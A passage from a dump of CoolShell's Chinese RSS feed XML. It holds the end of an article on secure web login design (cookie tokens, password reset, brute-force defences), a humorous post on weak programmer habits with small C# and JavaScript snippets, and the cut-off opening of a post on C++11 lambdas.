60px;\">4）当然，<strong>上述这样的设计还是会有一些问题，比如：同一用户的不同设备登录，甚至在同一个设备上使用不同的浏览器保登录</strong>。一个设备会让另一个设备的<strong>登录token</strong>和<strong>登录序列</strong>失效，从而让其它设备和浏览器需要重新登录，并会造成cookie被盗用的假象。所以，你在服务器服还需要考虑- <strong>IP 地址</strong>，</p>\n<p style=\"padding-left: 90px;\">a) 如果以口令方式登录，我们无需更新服务器的“<strong>登录序列</strong>”和 “<strong>登录token</strong>”（但需要更新cookie）。因为我们认为口令只有真正的用户知道。</p>\n<p style=\"padding-left: 90px;\">b) 如果 <strong>IP相同</strong> ，那么，我们无需更新服务器的“<strong>登录序列</strong>”和 “<strong>登录token</strong>”（但需要更新cookie）。因为我们认为是同一用户有同一IP（当然，同一个局域网里也有同一IP，但我们认为这个局域网是用户可以控制的。网吧内并不推荐使用这一功能）。</p>\n<p style=\"padding-left: 90px;\">c) 如果 （<strong>IP不同 </strong>&amp;&amp;<strong> 没有用口令登录</strong>），那么，“<strong>登录token</strong>” 就会在多个IP间发生变化（登录token在两个或多个ip间被来来回回的变换），当在一定时间内达到一定次数后，系统才会真正觉得被盗用的可能性很高，此时系统在后台清除“<strong>登录序列</strong>”和“<strong>登录token</strong>&#8220;，让Cookie失效，强制用户输入口令（或是要求用户更改口令），以保证多台设备上的cookie一致。</p>\n<ul>\n<li><strong>不要让cookie有权限访问所有的操作</strong>。否则就是XSS攻击，这个功能请参看<a title=\"新浪微博的XSS攻击\" href=\"https://coolshell.cn/articles/4914.html\" target=\"_blank\">新浪微博的XSS攻击</a>。下面的这些功能一定要用户输入口令：</li>\n</ul>\n<div style=\"padding-left: 60px;\">1）修改口令。</div>\n<div style=\"padding-left: 60px;\">2）修改电子邮件。（电子邮件通常用来找回用户密码，最好通发邮件或是发手机短信的方式修改，或者干脆就不让改一一用电子邮件做帐号名）</div>\n<div style=\"padding-left: 60px;\">3）用户的隐私信息。</div>\n<div style=\"padding-left: 60px;\">4）用户消费功能。</div>\n<div>\n<ul>\n<li><strong>权衡Cookie的过期时间。</strong>如果是永不过期，会有很不错的用户体验，但是这也会让用户很快就忘了登录密码。如果设置上过期期限，比如2周，一个月，那么可能会好一点，但是2周和一个月后，用户依然会忘了密码。尤其是用户在一些公共电脑上，如果保存了永久cookie的话，等于泄露了帐号。所以，对于cookie的过期时间我们还需要权衡。</li>\n</ul>\n</div>\n<h4>找回口令的功能</h4>\n<p>找回口令的功能一定要提供。但是很多朋友并不知道怎么来设计这个功能。我们有很多找回口令的设计，下面我逐个点评一下。</p>\n<ul>\n<li><strong>千万不要使用安全问答</strong>。事实证明，这个环节很烦人，而且用户并不能很好的设置安全问答。什么，我的生日啊，我母亲的生日，等等。因为今天的互联网和以前不一样了，因为SNS，今天的互联比以前更真实了，我可以上facebook，开心，人人网，LinkedIn查到你的很多的真实的信息。通过这些信息我可以使用安全问答来重设你的口令。 这里需要说一下 Facebook，Facebook的安全问答很强大，还要你通过照片认人，呵呵。</li>\n</ul>\n<ul>\n<li><strong>不要重置用户的密码</strong>。因为这有可能让用户的密码遭到恶意攻击。当然，你要发个邮件给用户让其确认，用户点击邮件中的一个链接，你再重置。我并不推荐这样的方法，因为用户一般都会用笔记下来这个很难记的口令，然后登录系统，因为登录系统时使用了“记住密码”的功能，所以导致用户不会去修改密码，从而要么导到被写下来的密码被人盗取，要么又忘记了密码。</li>\n</ul>\n<ul>\n<li><strong>好一点的做法——通过邮件自行重置</strong>。当用户申请找回口令功能的时候，系统生成一个MD5唯一的随机字串（可通过UID+IP+timestamp+随机数），放在数据库中，然后设置上时限（比如1小时内），给用户发一个邮件，这个连接中包含那个MD5的字串的链接，用户通过点击那个链接来自己重新设置新的口令。</li>\n</ul>\n<ul>\n<li><strong>更好一点的做法——多重认证</strong>。比如：通过手机+邮件的方式让用户输入验证码。手机+邮件可能还不把握，因为手机要能会丢了，而我的手机可以访问我的邮箱。所以，使用U盾，SecureID（一个会变化的6位数token），或是通过人工的方式核实用户身份。当然，这主要看你的系统的安全级别了。</li>\n</ul>\n<h4>口令探测防守</h4>\n<ul>\n<li><strong>使用验证码</strong>。验证码是后台随机产生的一个短暂的验证码，这个验证码一般是一个计算机很难识别的图片。这样就可以防止以程序的方式来尝试用户的口令。事实证明，这是最简单也最有效的方式。当然，总是让用户输入那些肉眼都看不清的验证码的用户体验不好，所以，可以折中一下。比如Google，当他发现一个IP地址发出大量的搜索后，其会要求你输入验证码。当他发现同一个IP注册了3个以上的gmail邮箱后，他需要给你发短信方式或是电话方式的验证码。</li>\n</ul>\n<ul>\n<li><strong>用户口令失败次数</strong>。调置口令失败的上限，如果失败过多，则把帐号锁了，需要用户以找回口令的方式来重新激活帐号。但是，这个功能可能会被恶意人使用。最好的方法是，增加其尝试的时间成本（以前的这篇文章说过一个<a title=\"如何防范密码被破解\" href=\"https://coolshell.cn/articles/2078.html\" target=\"_blank\">增加时间成本的解密算法</a>）。如，两次口令尝试的间隔是5秒钟。三次以上错误，帐号被临时锁上30秒，5次以上帐号被锁1分钟，10次以上错误帐号被锁4小时……但是这会导致恶意用户用脚本来攻击，所以最好再加上验证码，验证码出错次数过多不禁止登录而是禁lP。</li>\n</ul>\n<ul>\n<li><strong>系统全局防守</strong>。上述的防守只针对某一个别用户。恶意者们深知这一点，所以，他们一般会动用“僵尸网络”轮着尝试一堆用户的口令，所以上述的那种方法可能还不够好。我们需要在系统全局域上监控所有的口令失败的次数。当然，这个需要我们平时没有受到攻击时的数据做为支持。比如你的系统，平均每天有5000次的口令错误的事件，那么你可以认为，当口令错误大幅超过这个数后，而且时间相对集中，就说明有黑客攻击。这个时候你怎么办？一般最常见使用的方法是让所有的用户输错口令后再次尝试的时间成本增加。</li>\n</ul>\n<div>最后，再说一下，关于用户登录，使用第三方的 OAuth 和 OpenID 也不失为一个很不错的选择。</div>\n<h4>参考文章</h4>\n<ul>\n<li><a href=\"http://www.owasp.org/index.php/Guide_to_Authentication\" rel=\"nofollow\">OWASP Guide To Authentication</a></li>\n<li><a href=\"http://www.cs.umass.edu/~kevinfu/papers/webauth_tr.pdf\" rel=\"nofollow\">Dos and Don’ts of Client Authentication on the Web </a>（PDF）</li>\n<li><a href=\"http://fishbowl.pastiche.org/2004/01/19/persistent_login_cookie_best_practice/\" rel=\"nofollow\">Charles Miller&#8217;s Persistent Login Cookie Best Practice</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/HTTP_cookie#Drawbacks_of_cookies\" rel=\"nofollow\">Wikipedia: HTTP cookie</a></li>\n<li><a href=\"http://cups.cs.cmu.edu/soups/2008/proceedings/p13Rabkin.pdf\" rel=\"nofollow\">Personal knowledge questions for fallback authentication: Security questions in the era of Facebook </a></li>\n</ul>\n<div>（<strong>以上内容，转载时请保持原文一致，并请注明作者和出处</strong>）</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/6193.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/12/63071edagw1doah4id8l4j-150x150.jpg\" alt=\"CSDN明文口令泄露的启示\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6193.html\" class=\"wp_rp_title\">CSDN明文口令泄露的启示</a></li><li ><a href=\"https://coolshell.cn/articles/3877.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"另类UX让你输入强口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3877.html\" class=\"wp_rp_title\">另类UX让你输入强口令</a></li><li ><a href=\"https://coolshell.cn/articles/3801.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/passwords-150x150.png\" alt=\"破解你的口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3801.html\" class=\"wp_rp_title\">破解你的口令</a></li><li ><a href=\"https://coolshell.cn/articles/2451.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"Twitter的禁用口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2451.html\" class=\"wp_rp_title\">Twitter的禁用口令</a></li><li ><a href=\"https://coolshell.cn/articles/2428.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"如何管理并设计你的口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2428.html\" class=\"wp_rp_title\">如何管理并设计你的口令</a></li><li ><a href=\"https://coolshell.cn/articles/2078.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" alt=\"如何防范密码被破解\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2078.html\" class=\"wp_rp_title\">如何防范密码被破解</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5353.html\">你会做Web上的用户登录功能吗？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5353.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>119</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-16.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 16 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=16\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Fri, 19 Nov 2021 06:31:55 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>弱爆程序员的特征值</title>\n\t\t<link>https://coolshell.cn/articles/5292.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5292.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[sumtec]]></dc:creator>\n\t\t<pubDate>Tue, 23 Aug 2011 02:04:06 +0000</pubDate>\n\t\t\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[program]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5292</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>【感谢网友sumtec投递此文，很欢乐也有意思，与大家共勉】 首先说明： 1、以下特征是真实遇到过的，同事犯过的，乃至我自己也犯过的； 2、为了剧情需要，某些例...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5292.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5292.html\">弱爆程序员的特征值</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>【<strong><span style=\"color: #cc0000;\">感谢网友</span><a title=\"由 sumtec 发布\" href=\"https://coolshell.cn/articles/author/sumtec\" rel=\"author\">sumtec</a><span style=\"color: #cc0000;\">投递此文，很欢乐也有意思，与大家共勉</span></strong>】</p>\n<p>首先说明：</p>\n<p>1、以下特征是真实遇到过的，同事犯过的，乃至我自己也犯过的；<br />\n2、为了剧情需要，某些例子进行了一些夸张修饰等演绎创作，如无雷同，请勿生气；<br />\n3、如果你出现过以下症状之一，并不代表你就是弱爆了，但是如果你一直出现，乃至一说到这个大家就能联想到你，那么你就得小心了；<br />\n4、如果你是集这几个的大乘者，恭喜你，你已经找到了离开这个行业的充足理由了。</p>\n<h4>好了，搞定！</h4>\n<p>“那个Bug解决了吗？”</p>\n<p>“好了，搞定！”</p>\n<p>“这么快？”</p>\n<p>正当你非常欣喜的时候，就传来了噩耗：刚才还能编译成功的，就失败了。（好吧，我们的集成编译尚未成功配置上，理论上这种事情应该会被退回。）又或者能编译成功，但是呢，原来明明能起作用的一个下拉框，突然发神经的不起作用了。最隐蔽的莫过于，一切正常，但是当你看到代码的时候，你就晕厥过去了。比如我们曾经发现了一个Bug，简单说就是每次用户点击某个东西，就会执行下面的这段C#代码：</p>\n<p><code data-enlighter-language=\"csharp\" class=\"EnlighterJSRAW\">controlPropertyPanel.PropertyChanged += this.UpdatePropertyOnChanged;</code></p>\n<p>这个Bug很明显会导致速度越来越慢，因为同一个更新操作会被更新N次，并且这个N会越来越大。其实这个Bug已经够弱了，但是后来居然被修改为：</p>\n<p><span id=\"more-5292\"></span></p>\n<pre data-enlighter-language=\"csharp\" class=\"EnlighterJSRAW\">controlPropertyPanel.PropertyChanged -= this.UpdatePropertyOnChanged;\ncontrolPropertyPanel.PropertyChanged += this.UpdatePropertyOnChanged;</pre>\n<p>这段代码能编译，能执行，但是就是弱爆了。因为这不仅仅没有从根本上去掉造成问题的逻辑，还会带来更多的困惑：为什么要先减后加呢？</p>\n<p>这类特征，请大家看看有趣的《<a title=\"各种流行的编程风格\" href=\"https://coolshell.cn/articles/2058.html\" target=\"_blank\">各种流行的编程风格</a>》，我这个例子算是一种撞大运。我觉这吧，这类问题都是因为只想解决一些表面的东西为目的，完全不管底下的其它任何问题而造成的。</p>\n<h4>那估计是他的Bug</h4>\n<p>“这个问题为啥还没解决呢？”</p>\n<p>“我觉得应该是他那里边的Bug，我调不了。”</p>\n<p>“哦……”</p>\n<p>这个“他”可以是某一位同事，或者前同事，或者微软，或者别的什么公司，再或者某个开源代码的作者。这些个我都遇到过，比如说是另一位现在在职的同事吧。当你告诉这位同事这个Bug似乎在他那儿，并且问问什么时候解决，他也许会很愧疚的立刻调试，可最后结果却仍然是开头对话主人翁的所写代码的问题。</p>\n<p>再比如说是微软吧，那么对话可能就会包括：“啊，SilverLight真是烂，老是内存泄漏、崩溃等……”“是啊是啊！烂死了！早知道用Flash了。”又或者会说：“微软就是烂，Java就是好。”其实，我不想比较什么SilverLight还是Flash，.NET还是Java。因为在讨论这些问题之前，先最好想想，这真的是别人的错么？相信是其他人的错是一件很简单的事情，因为这样推脱之后你就可以啥都不做了，反正不是我的错。</p>\n<p>如果真的发现了这是别人的Bug并证明了，那倒好说。但这种特征是一种纯粹的怀疑，并没有丝毫的证明。在仔细找了自己所有可能犯的错之后，如果你怀疑是别人的问题，那请求证一下。</p>\n<h4>无图无真相！</h4>\n<p>“楼主，无图无真相啊！”</p>\n<p>“楼主，无代码无真相啊！”</p>\n<p>“楼主，给翻译一下啊！”</p>\n<p>据说Linus在别人询问Linux内存管理的一个什么问题时，回答道“Read the fxxxing source code”，很多时候我也有类似的冲动。我发现在信息发达的时代，不少人的阅读能力、动手能力都严重退化了。这些人最好就是你亲自来帮他把问题解决了，他才不想了解里面到底 发生了什么。这种问题体现在博客里面，就是寄希望于你写得图文并茂，图嘛最好花里胡哨同时言简而意概，文字嘛最好大段大段的代码。其实图不是重要的，只是为了好看，重点是代码，这样他一Copy就可以直接解决他们的问题了。</p>\n<p>比方说，Silverlight里面没有各种图像格式的编码器，于是当你希望保存Jpg的时候怎么办呢？Google一下，发现原来有人写过一个FluxJpeg的编码器。下载下来一跑，唉还真能用哎。之后就直接签入，也不捎带看一下有没有什么问题，或者设计不合理的地方。（其实真的有，会很慢，因为有大量毫无必要的数组拷贝。）</p>\n<p>又或者说，遇到了某个Bug，搜索一下发现，哎，还真有人遇到过，而且还有代码哎！把代码扒下来一跑，发现好像解决了，至于为什么就不管了。甚至还遇到过根本就不管解决不解决问题，反正代码扒下来了就签入了的。</p>\n<p>再比如，写一篇博客讲解如何缩减.NET编译出来的文体大小，其中提到许多概念需要先阅读微软官方的一个<a href=\"http://download.microsoft.com/download/d/c/1/dc1b219f-3b11-4a05-9da3-2d0f98b20917/partition%20ii%20metadata.doc\" target=\"_blank\">文档</a>。结果，还是会有人回复说，你那个文章里面提到那么多的Blob，也不说说Blob里面都有什么，大概是很不满意吧。可是这个文档里面都有啊，难道就不能自己阅读一下？其实即便我连这个文档都没有给出，自己也应该有这个能力去进行思考，去动手寻找。</p>\n<p>千万不要退化成一个啥都要别人给你嚼烂了才能够吞下去，吞下去也不会消化吸收的人。这样的人大概别人给的是大便，只要有代码无真相，也会照样吃下去的。若真如此，那你打算如何提高呢？</p>\n<h4>那是个对象！</h4>\n<p>“这个ExpressionVisitor，它是用来干什么的？”</p>\n<p>“……”</p>\n<p>“好吧，或者这么说，他是一个什么东西？”</p>\n<p>“他是一个对象！”</p>\n<p>“啊？”</p>\n<p>“哦，是一个对象的实例。”</p>\n<p>大概这样的回答，和那个微软工程师说“<a href=\"http://blog.oasisfeng.com/2007/09/21/experiencing-support-from-ms/\">你在直升飞机上</a>”差不多——反正你也不能说是错的，但是就是没什么意义。其实不知道没啥问题，人又不是神，怎么可能都知道呢？不去仔细了解和学习问题也不严重，因为你可以改。但是当你习惯性的随便找一个绝对没错但又不说明任何问题的答案，甚至似是而非的东西来对付的时候，你就离弱爆的边缘很近了。</p>\n<p>当然，上面的对话也许是比较极端的。一个稍弱一点的对话版本是：</p>\n<p>“这个内存泄漏是怎么造成的呢？”</p>\n<p>“嗯，会不会是图片放的位置不对呢？”</p>\n<p>哈，还是很夸张对吧？没办法，写博客有时候需要夸张的文字，否则你无法理解我的意思是：有时候，大家会倾向于从自己的记忆中寻找一些相似的物品，然后选择相似度自认为比较高的东西出来当作答案，而全然不管两者之间的逻辑是否有哪怕那么一丝的关联。也许很多时候，我们确实需要从相似的东西开始，但请别把他当作终点。程序是需要严谨的逻辑的，所以你也必须非常严谨的去推演。</p>\n<p>关于这类的问题真的太多太多了，比如我指着下面这段代码当中的红字：</p>\n<p>var dictionary = new Dictionary&lt;string, string&gt;();<br />\ndictionary<strong><span style=\"color: #ff0000;\">[&#8220;someKey&#8221;]</span></strong> = &#8220;someValue&#8221;;</p>\n<p>“这句话说明了什么？”</p>\n<p>“说明dictionary是一个数组。”</p>\n<h4>集大成者</h4>\n<p>最后我举一个集大成者的例子，说，有个任务是要在SilverLight应用上面添加一个“收藏本站点”。好，怎么解决呢？网上一搜，发现有很多这样的代码：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">function AddBookmark(Url, LabeName) {\n  if (document.all)\n  {\n    window.external.addFavorite(Url, LabeName);\n  }\n  else if (window.sidebar)\n  {\n    window.sidebar.addPanel(LabeName, Url, &#039;&#039;);\n  }\n}</pre>\n<p>然后直接扒下来就放上去了，通过某种方式在SilverLight中调用这段JavaScript，签入，搞定了！结果到了测试那边发现完全不能用，无论在IE6/7/8/9/10，还是在FireFox/Safari/Chrome上面，都不能使用。我问：</p>\n<p>“这是什么原因呢？”</p>\n<p>“不知道，反正浏览器报告没有权限，可能是浏览器的安全设置原因吧，或者操作系统的Bug，也可能是浏览器的某种Bug？”</p>\n<p>“不可能啊？这些代码存在很多年了，要有问题早就能在网上搜索到了。”</p>\n<p>“那也许是SilverLight调用的时候有什么安全问题。哎！SilverLight好烦啊！”</p>\n<p>“那怎么还没有解决呢？”</p>\n<p>“好，我马上解决它！”</p>\n<p>很快，那段Javascript就变成了：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">function AddBookmark(Url, LabeName) {\n  try\n  {\n    if (document.all)\n    {\n      window.external.addFavorite(Url, LabeName);\n    }\n    else if (window.sidebar)\n    {\n      window.sidebar.addPanel(LabeName, Url, &#039;&#039;);\n    }\n  }\n  catch\n  {\n    alert(&quot;您的浏览器因为安全设置的问题无法收藏，请手动添加收藏！&quot;);\n  }\n}</pre>\n<p>看到这样的代码，我彻底震惊了。亲自调试了一下，发现确实报告了一个“没有权限”的异常。但是，我还发现，那个Url参数的值是“www.adomainname.com\\test\\page.html”。那这不废话么！浏览器认为你要收藏的是一个本地硬盘上的路径，怎么可能在一个Internet Zone上允许收藏这种路径呢？我于是指着代码问：</p>\n<p>“这个Url是什么？”</p>\n<p>“是一个变量”</p>\n<p>“啊？”</p>\n<p>“哦，不对，是一个参数。”</p>\n<p>你是否也有类似的经历呢？</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3005.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" alt=\"代码重构的一个示例\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3005.html\" class=\"wp_rp_title\">代码重构的一个示例</a></li><li ><a href=\"https://coolshell.cn/articles/2058.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"各种流行的编程风格\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2058.html\" class=\"wp_rp_title\">各种流行的编程风格</a></li><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5292.html\">弱爆程序员的特征值</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5292.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>69</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>C++11 中值得关注的几大变化（详解）</title>\n\t\t<link>https://coolshell.cn/articles/5265.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5265.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 19 Aug 2011 00:43:59 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[C++ 11]]></category>\n\t\t<category><![CDATA[C++0X]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5265</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>源文章来自前C++标准委员会的 Danny Kalev 的 The Biggest Changes in C++11 (and Why You Should C...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5265.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5265.html\">C++11 中值得关注的几大变化（详解）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>源文章来自前C++标准委员会的 <a href=\"http://www.softwarequalityconnection.com/author/dannykalev/\">Danny Kalev</a> 的 <a href=\"http://www.softwarequalityconnection.com/2011/06/the-biggest-changes-in-c11-and-why-you-should-care/\" target=\"_blank\">The Biggest Changes in C++11 (and Why You Should Care)</a>，赖勇浩做了一个<a href=\"http://blog.csdn.net/lanphaday/article/details/6564162\" target=\"_blank\">中文翻译在这里</a>。所以，我就不翻译了，我在这里仅对文中提到的这些变化“<strong>追问为什么要引入这些变化</strong>”的一个探讨，<strong>只有知道为了什么，用在什么地方，我们才能真正学到这个知识</strong>。而以此你可以更深入地了解这些变化。所以，本文不是翻译。因为写得有些仓促，所以难免有问题，还请大家指正。</p>\n<h4 class=\"color-programming\">Lambda 表达式</h4>\n<p>Lambda表达式来源于函数式编程，说白就了就是在使用的地方定义函数，有的语言叫“闭包”，如果 lambda 函数没有传回值(例如 <tt>void</tt> )，其回返类型可被完全忽略。 定义在与 lambda 函数相同作用域的变量参考也可以被使用。这种的变量集合一般被称作 closure（闭包）。我在这里就不再讲这个事了。表达式的简单语法如下，</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">[capture](parameters)-&gt;return_type {body}</code></p>\n<p>原文的作者给出了下面的例子：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">int main()\n{\n   char s[]=&quot;Hello World!&quot;;\n   int Uppercase = 0; //modified by the lambda\n   for_each(s, s+sizeof(s), [&amp;Uppercase] (char c) {\n    if (isupper(c))\n     Uppercase++;\n    });\n cout &lt;&lt; Uppercase &lt;&lt; &quot; uppercase letters in: &quot; &lt;&lt; s &lt;&lt;endl;\n}</pre>\n<p>在传统的STL中for_each() 这个玩意最后那个参数需要一个“函数对象”，所谓函数对象，其实是一个class，这个class重载了operator()，于是这个对象可以像函数的式样的使用。实现一个函数对象并不容易，需要使用template，比如下面这个例子就是函数对象的简单例子（实际的实现远比这个复杂）：</p>\n<p><span id=\"more-5265\"></span></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">template &lt;class T&gt;\nclass less\n{\npublic:\n    bool operator()(const T&amp;l, const T&amp;r)const\n    {\n        return l &lt; r;\n    }\n};</pre>\n<p class=\"color-programming\">所以，<strong>C++引入Lambda的最主要原因就是1）可以定义匿名函数，2）编译器会把其转成函数对象</strong>。相信你会和我一样，会疑问为什么以前STL中的ptr_fun()这个函数对象不能用？（ptr_fun()就是把一个自然函数转成函数对象的）。原因是，ptr_fun() 的局限是其接收的自然函数只能有1或2个参数。</p>\n<p 